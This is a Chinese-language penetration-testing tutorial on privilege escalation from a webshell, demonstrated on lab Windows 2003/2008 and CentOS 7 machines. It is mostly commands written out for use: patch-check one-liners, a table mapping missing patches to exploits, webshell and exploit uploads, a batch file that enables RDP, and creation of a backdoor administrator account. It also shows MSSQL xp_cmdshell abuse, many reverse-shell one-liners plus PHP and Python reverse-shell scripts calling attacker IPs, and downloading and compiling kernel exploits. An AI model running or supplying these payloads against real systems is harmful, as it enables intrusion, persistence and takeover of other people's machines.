目录
提权
权限提升
水平权限提升(也叫越权)
从同级账户间互相切换身份
比如一个论坛有A、B两个账号普通用户,C是管理员。AB只能发帖和删自己的帖子,而C可以发帖和删所有人的帖子,如果这时候A能够去删B帖子,A就相当于越权
垂直权限提升
就是普通用户获得了管理员的权限
比如从一个Web用户直接提权成管理员用户
关于提权,有很多方法,大的方向分为Windows提权和Linux提权
基于webshell的提权
我们今天讲的提权是基于webshell的提权,也就是说你在研究这个提权之前,前提就是有个webshell
也就是我们在研究提权问题之前,我们需要有一个webshell。
开启一个win2003的服务器(192.168.3.128)---打开IIS
如果对方是IIS,尽量上传一个aspx的木马
由于asp大马权限比较低,我们选择尝试上传aspx的大马
演示:
执行whoami后发现拒绝访问
如果有一个小马,这里拒绝访问怎么办?
上传一个CMD上去(本地上传一个cmd命令)
C:\Windows\System32下有个cmd.exe
发现缺少对象:(因为这个大马的权限比较低)
现在上传一个aspx的大马(asp的大马上传一个aspx的大马)
现在访问cmd.aspx
windows提权
如果目标使用的是套件搭建的网站
比如:phpstudy、xampp、wampserver....
获得WebShell 之后就是系统或管理员权限
宝塔
获得webshell之后的权限待考虑
宝塔的安全防御比较高,一般会禁用很多函数,怎么样考虑绕过?
系统漏洞提权
步骤:先找补丁,再找漏洞,找EXP(漏洞利用程序)
Win2003
信息收集
----win2003
systeminfo>C:\Windows\Temp\a.txt&(for %i in (KB3057191 KB2840221 KB3000061 KB2850851 KB2711167 KB2360937 KB2478960 KB2507938 KB2566454 KB2646524 KB2645640 KB2641653 KB944653 KB952004 KB971657 KB2620712 KB2393802 KB942831 KB2503665 KB2592799 KB956572 KB977165 KB2621440) do @type C:\Windows\Temp\a.txt|@find /i "%i"|| @echo %i Not Installed!)&del /f /q /a C:\Windows\Temp\a.txt----
----2003以上
systeminfo>C:\Windows\Temp\a.txt&(for %i in (KB3124280 KB3143141 KB3134228 KB3079904 KB3077657 KB3124280 KB3045171 KB2829361 KB3000061 KB2850851 KB2707511 KB970483 KB2124261 KB2271195 KB3031432) do @type C:\Windows\Temp\a.txt|@find /i "%i"|| @echo %i Not Installed!)&del /f /q /a C:\Windows\Temp\a.txt
----括号里面的内容自己添加
---------------关于补丁号和微软MS漏洞对应(也就是说我们如果我们系统中没有修改KB这样一个补丁,那就说明我们系统存在这种MS xxx漏洞)-------------------------
补丁对照:
KB2360937 MS10-084
KB2478960 MS11-014
KB2507938 MS11-056
KB2566454 MS11-062
KB2646524 MS12-003
KB2645640 MS12-009
KB2641653 MS12-018
KB944653 MS07-067
KB952004 MS09-012 PR
KB971657 MS09-041
KB2620712 MS11-097
KB2393802 MS11-011
kb942831 MS08-005
KB2503665 MS11-046
KB2592799 MS11-080
KB956572 MS09-012 烤肉
KB2621440 MS12-020
KB977165 MS10-015 Ms Viru
KB4013081 MS17-017
KB3139914 MS16-032
KB3124280 MS16-016
KB3134228 MS16-014
KB3079904 MS15-097
KB3077657 MS15-077
KB3045171 MS15-051
KB3000061 MS14-058
KB2829361 MS13-046
KB2850851 MS13-053 EPATHOBJ 0day 限32位
KB2707511 MS12-042 sysret -pid
KB2124261 KB2271195 MS10-065 IIS7
KB3198234 MS16-135
KB970483 MS09-020 IIS6
KB3031432 MS15-015----
CVE-2017-0213 [Windows COM Elevation of Privilege Vulnerability] (windows 10/8.1/7/2016/2010/2008)
MS17-010 [KB4013389] [Windows Kernel Mode Drivers] (windows 7/2008/2003/XP)
MS16-135 [KB3199135] [Windows Kernel Mode Drivers] (2016)
MS16-098 [KB3178466] [Kernel Driver] (Win 8.1)
MS16-075 [KB3164038] [Hot Potato] (2003/2008/7/8/2012)
MS16-032 [KB3143141] [Secondary Logon Handle] (2008/7/8/10/2012)
MS16-016 [KB3136041] [WebDAV] (2008/Vista/7)
MS15-097 [KB3089656] [remote code execution] (win8.1/2012)
MS15-076 [KB3067505] [RPC] (2003/2008/7/8/2012)
MS15-077 [KB3077657] [ATM] (XP/Vista/Win7/Win8/2000/2003/2008/2012)
MS15-061 [KB3057839] [Kernel Driver] (2003/2008/7/8/2012)
MS15-051 [KB3057191] [Windows Kernel Mode Drivers] (2003/2008/7/8/2012)
MS15-010 [KB3036220] [Kernel Driver] (2003/2008/7/8)
MS15-015 [KB3031432] [Kernel Driver] (Win7/8/8.1/2012/RT/2012 R2/2008 R2)
MS15-001 [KB3023266] [Kernel Driver] (2008/2012/7/8)
MS14-070 [KB2989935] [Kernel Driver] (2003)
MS14-068 [KB3011780] [Domain Privilege Escalation] (2003/2008/2012/7/8)
MS14-058 [KB3000061] [Win32k.sys] (2003/2008/2012/7/8)
MS14-040 [KB2975684] [AFD Driver] (2003/2008/2012/7/8)
MS14-002 [KB2914368] [NDProxy] (2003/XP)
MS13-053 [KB2850851] [win32k.sys] (XP/Vista/2003/2008/win 7)
MS13-046 [KB2840221] [dxgkrnl.sys] (Vista/2003/2008/2012/7)
MS13-005 [KB2778930] [Kernel Mode Driver] (2003/2008/2012/win7/8)
MS12-042 [KB2972621] [Service Bus] (2008/2012/win7)
MS12-020 [KB2671387] [RDP] (2003/2008/7/XP)
MS11-080 [KB2592799] [AFD.sys] (2003/XP)
MS11-062 [KB2566454] [NDISTAPI] (2003/XP)
MS11-046 [KB2503665] [AFD.sys] (2003/2008/7/XP)
MS11-011 [KB2393802] [kernel Driver] (2003/2008/7/XP/Vista)
MS10-092 [KB2305420] [Task Scheduler] (2008/7)
MS10-065 [KB2267960] [FastCGI] (IIS 5.1, 6.0, 7.0, and 7.5)
MS10-059 [KB982799] [ACL-Churraskito] (2008/7/Vista)
MS10-048 [KB2160329] [win32k.sys] (XP SP2 & SP3/2003 SP2/Vista SP1 & SP2/2008 Gold & SP2 & R2/Win7)
MS10-015 [KB977165] [KiTrap0D] (2003/2008/7/XP)
MS09-050 [KB975517] [Remote Code Execution] (2008/Vista)
MS09-020 [KB970483] [IIS 6.0] (IIS 5.1 and 6.0)
MS09-012 [KB959454] [Chimichurri] (Vista/win7/2008/Vista)
MS08-068 [KB957097] [Remote Code Execution] (2000/XP)
MS08-067 [KB958644] [Remote Code Execution] (Windows 2000/XP/Server 2003/Vista/Server 2008)
MS08-025 [KB941693] [Win32.sys] (XP/2003/2008/Vista)
MS06-040 [KB921883] [Remote Code Execution] (2003/xp/2000)
MS05-039 [KB899588] [PnP Service] (Win 9X/ME/NT/2000/XP/2003)
MS03-026 [KB823980] [Buffer Overrun In RPC Interface] (/NT/2000/XP/2003)
----------------------------------------
演示:win2003下如何提权
win2003:
systeminfo>C:\Windows\Temp\a.txt&(for %i in (KB3057191 KB2840221 KB3000061 KB2850851 KB2711167 KB2360937 KB2478960 KB2507938 KB2566454 KB2646524 KB2645640 KB2641653 KB944653 KB952004 KB971657 KB2620712 KB2393802 KB942831 KB2503665 KB2592799 KB956572 KB977165 KB2621440) do @type C:\Windows\Temp\a.txt|@find /i "%i"|| @echo %i Not Installed!)&del /f /q /a C:\Windows\Temp\a.txt
我们找到MS09-012了,接下来我们要寻找MS09-012这个漏洞所对应的提权EXP
找EXP:PR提权,我们把PR提权这个程序上传上去:
上传成功后,我们把这个路径复制以下,我们找到cmd命令,用它的cmd调用我们的prok.exe
提权可能会遇到的问题
问题1、无法执行cmd命令(自己上传一个cmd,或者考虑使用aspx大马)
问题2、无法上传提权exp(一般是个exe文件)
原因:目录没有写的权限
考虑哪些目录有写权限?
①日志
②tmp缓存
③回收站
④大马所在目录
问题3、针对windows系统,如果对方没有开启3389端口怎么办,我们可不可以在命令行下开启3389端口?
开启3389端口的操作:
-----------
win2003
-----------
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
-----------
win2003|2008 通用
----3389.bat---
echo Windows Registry Editor Version 5.00>>3389.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server]>>3389.reg
echo "fDenyTSConnections"=dword:00000000>>3389.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp]>>3389.reg
echo "PortNumber"=dword:00000d3d>>3389.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp]>>3389.reg
echo "PortNumber"=dword:00000d3d>>3389.reg
regedit /s 3389.reg
del 3389.reg
----
问题3、如何创建windows用户
net user hack 123.com /all
net localgroup administrators hack /add
演示:win2008下如何提权
针对windows系统,如果目标使用的是套件
比如:phpstudy、xampp、wampserver....
获得WebShell 之后就是系统或管理员权限
宝塔
获得webshell之后的权限待考虑
宝塔的安全防御比较高,一般会禁用很多函数,怎么样考虑绕过?
所以针对2008(192.168.3.126),我们phpstudy下的提权就不演示了,我们演示一下IIS的
打开win2008的IIS,根目录下上传几个asp的大马,这个网站端口是8000
执行cmd命令,发现可以执行(比较特殊的就是IIS6.0,像IIS7的这些asp脚本都能调用cmd,选择就不用调用aspx的大马)
我们打开一个aspx脚本调用cmd命令看看:
我们尝试提权:
先信息收集:执行以下代码
----2003以上
systeminfo>C:\Windows\Temp\a.txt&(for %i in (KB3124280 KB3143141 KB3134228 KB3079904 KB3077657 KB3124280 KB3045171 KB2829361 KB3000061 KB2850851 KB2707511 KB970483 KB2124261 KB2271195 KB3031432) do @type C:\Windows\Temp\a.txt|@find /i "%i"|| @echo %i Not Installed!)&del /f /q /a C:\Windows\Temp\a.txt
接下来去上传文件,,把我们提权的EXP上传一下,找补丁对照表
KB3031432 MS15-015
上传EXP(MS15-015)
发现写入文件失败(没有写权限)
我们找一个有上传写文件的目录(上面提到的几个目录都没上传成功,log和tmp也没有写权限,我们找真正windows的缓存在windows下的temp也没有写权限),这时候我们换个大马试试(asp的大马和aspx的大马权限是不一样的,asp不行的话换aspx试一下)
我们换aspx后缀大马,找到windows下的temp上传,发现上传成功!
我们上传后重命名为MS.exe(这一步可以没有)
来到cmd下:
在命令行下开启3389端口操作演示:
----3389.bat--(08/03通用)
echo Windows Registry Editor Version 5.00>>3389.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server]>>3389.reg
echo "fDenyTSConnections"=dword:00000000>>3389.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp]>>3389.reg
echo "PortNumber"=dword:00000d3d>>3389.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp]>>3389.reg
echo "PortNumber"=dword:00000d3d>>3389.reg
regedit /s 3389.reg
del 3389.reg
将3389.bat上传(在windows的temp下)
上传成功后来到cmd命令
执行3389.bat后查看3389端口开没开(netstat -ano -p tcp)
接下来创建一个用户
创建windows用户
net user hack 123.com /all
net localgroup administrators hack /add
创建成功后,用我们远程桌面连接工具(Microsoft Remote Desktop Beta)连接一下
成功连接!
SAM文件还拿不到,SAM文件需要系统用户权限
数据库提权
MSSQL提取
数据库有一个组件叫xp_cmdshell 我们可以利用xp_cmdshell去执行cmd 命令(我们利用MSSQL提权的时候有很多方法,xp_cmdshell只是其中一种)
提权有个前提条件,就是获取mssql sa用户的密码
win2003开启一个SQL server服务器
如果这里开启了SQL server的端口,我们本地就可以利用一个工具(SQL tools v2.0增强版)
一般选前三个的任意一个就行
这就是MSSQL的提权
关键是你要获取MSSQL的sa用户的密码
mysql 提权
核心思想:利用mysql 执行cmd 命令
udf提权
mof提权
上面两种推荐自己学习(不难)
反弹shell
为什么要反弹shell?因为我们要建立一个持久性连接
基于WebShell 反弹Shell,建立一个持久性的连接
Shell :命令解释器
正向Shell :我主动连接服务器,前提是服务器开启某个端口(ssh端口)
反向Shell :服务器主动连接我们,前提是我们监听某一个端口
windows
nc.exe(网络界的瑞士军刀)
powershell
nc.exe
我:nc -lvvp 1234
服务器:nc.exe -e cmd.exe 10.10.10.20 1234
kali
nc
mac
nc 不行
ncat namp
反弹shell也分windows和linux
反弹shell--windows
nc.exe
我(kali):nc -lvvp 1234
服务器(win2008):nc.exe -e cmd.exe 192.168.1.200 1234
windows下,我们利用一款工具叫nc.exe(也叫netcat,是我们网络界的瑞士军刀)
如果想让windows系统主动连接我们,那我们第一种办法是用nc,第二种方法是用powershell
演示一下nc:
由于我们windows系统下没有nc,我们需要把nc上传到服务器上去(我们一2008为例)
我们来到cmd命令
nc.exe
我:nc -lvvp 1234 监听1234端口
服务器:nc.exe -e cmd.exe 10.10.10.20 1234 服务器执行的命令就是让它来连接我们的1234端口
执行后,看一下本地:
反弹shell--linux
我们启动一个centos7
在/var/www/html下创建一个yjh.php(一句话木马)
访问后,用蚁剑连接,打开虚拟终端(Apache用户)
现在我们要做一个反弹shell(这不是已经有shell了吗为什么还有反弹shell?因为一句话木马这个shell是webshell,webshell是通过HTTP协议来传输数据的,这个链接不持久。为什么我们要反弹shell,因为我们要建立持久性连接)
我们linux下反弹shell怎么来做?
看一下有没有nc命令,(有-e参数我们就可以用nc进行反弹,如果没有-e参数,可以用PHP反弹、python反弹、perl反弹....)
这里讲最基本的一种就是用nc反弹
NC 本地监听
[nc -lvvp 1234]
NC反弹
-e 参数可用
[nc -e /bin/bash 192.168.1.150 1234]
-------------------
当我们执行这条命令,出现Ncat: Permission denied.
我们通过查看系统日志
[tail /var/log/messages]
解决方法
原因:selinux的拦截
法:将ncat限制给去掉了
ausearch -c 'nc' --raw | audit2allow -M my-nc
semodule -i my-nc.pp
-----------------
进入交互式shell
[python -c 'import pty;pty.spawn("/bin/bash")']
-e 参数不可用
[rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.1.150 1234 >/tmp/f]
BASH
[bash -i >& /dev/tcp/172.16.132.160/1234 0>&1]
[/bin/bash -i >& /dev/tcp/172.16.132.160/1234 0>&1]
[sh -i >& /dev/tcp/172.16.132.160/1234 0>&1]
[/bin/sh -i >& /dev/tcp/172.16.132.160/1234 0>&1]
[bash -c 'sh -i &>/dev/tcp/172.16.132.160/1234 0>&1']
[echo "bash -i >& /dev/tcp/192.168.16.150/777 0>&1" | bash]
PHP
php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
----reverse.php
<?php
$sock = fsockopen("172.16.132.160", 1234);
$descriptorspec = array(
0 => $sock,
1 => $sock,
2 => $sock
);
$process = proc_open('/bin/sh', $descriptorspec, $pipes);
proc_close($process);
?>
----
[php /tmp/reverse.php]
Python
----reverse.py
import os,socket,subprocess
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(('172.16.132.160',1234))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(['/bin/bash','-i'])
----
[python /tmp/reverse.py]
[python3 /tmp/reverse.py]进入交互式Shell
[python3 -c 'import pty; pty.spawn("/bin/bash")']
[python -c 'import pty;pty.spawn("/bin/bash")']----
Linux提权
利用系统漏洞提权
内核提权
利用第三方软件
套路比较多
很难想象
需要在实战中体会
dc 系列(dc1-dc8)
靶机渗透
提权操作
收集系统信息
uname -a
提权辅助脚本:GitHub - mzet-/linux-exploit-suggester: Linux privilege escalation auditing tool
wget
[wget http://192.168.1.200:8000/linux-exploit-suggester.sh > les.sh] 脚本放到web服务器当中(网站根目录下)
curl
wget和curl都可以通过发送http请求的方式去下载文件
下载完后给执行权限
chmod +x linux-exploit-suggester.sh
上面这种方法是找提权EXP
另外一种方式怎么去进行提权呢?搜索漏洞库
搜索漏洞库
Kali 漏洞库
searchsploit centos 7 查找centos7漏洞库
(searchsploit是kali里面的工具,kali为什么牛逼?因为它有本地漏洞库,其他功能别的工具都可以代替)searchsploit -m 35370
Kali 中开启httpd服务
python -m SimpleHTTPServer 8080
下载35370.c文件
wget http://192.168.1.150:8080/23270.c
运行提权脚本
gcc 35370.c -o exploit -lpthread
./exploit
id
演示:
cat一下发现是用C语言写的。
关于这个漏洞,我们需要把这个C语言脚本上传到我们目标服务器下
怎么把.c脚本上传上去呢?
这个脚本在kali中,.c文件我们要上传到目标服务器上去,我们需要kali中开一个http服务
命令:python -m SimpleHTTPServer 8080(kali中用python开启8080端口)
接下来,我们得把它下载到目标服务器上去wget http://192.168.1.150:8080/23270.c
看脚本的usage去编译:它怎么写你就怎么写
本地先监听一下(nc -lvvp 1234)
打开蚁剑:
我们还得进入交互式
进入交互式Shell
[python3 -c 'import pty; pty.spawn("/bin/bash")']
[python -c 'import pty;pty.spawn("/bin/bash")']
编译:gcc 35370.c -o exploit -lpthread
gcc 35370.c -o exploit -lpthread
./exploit
id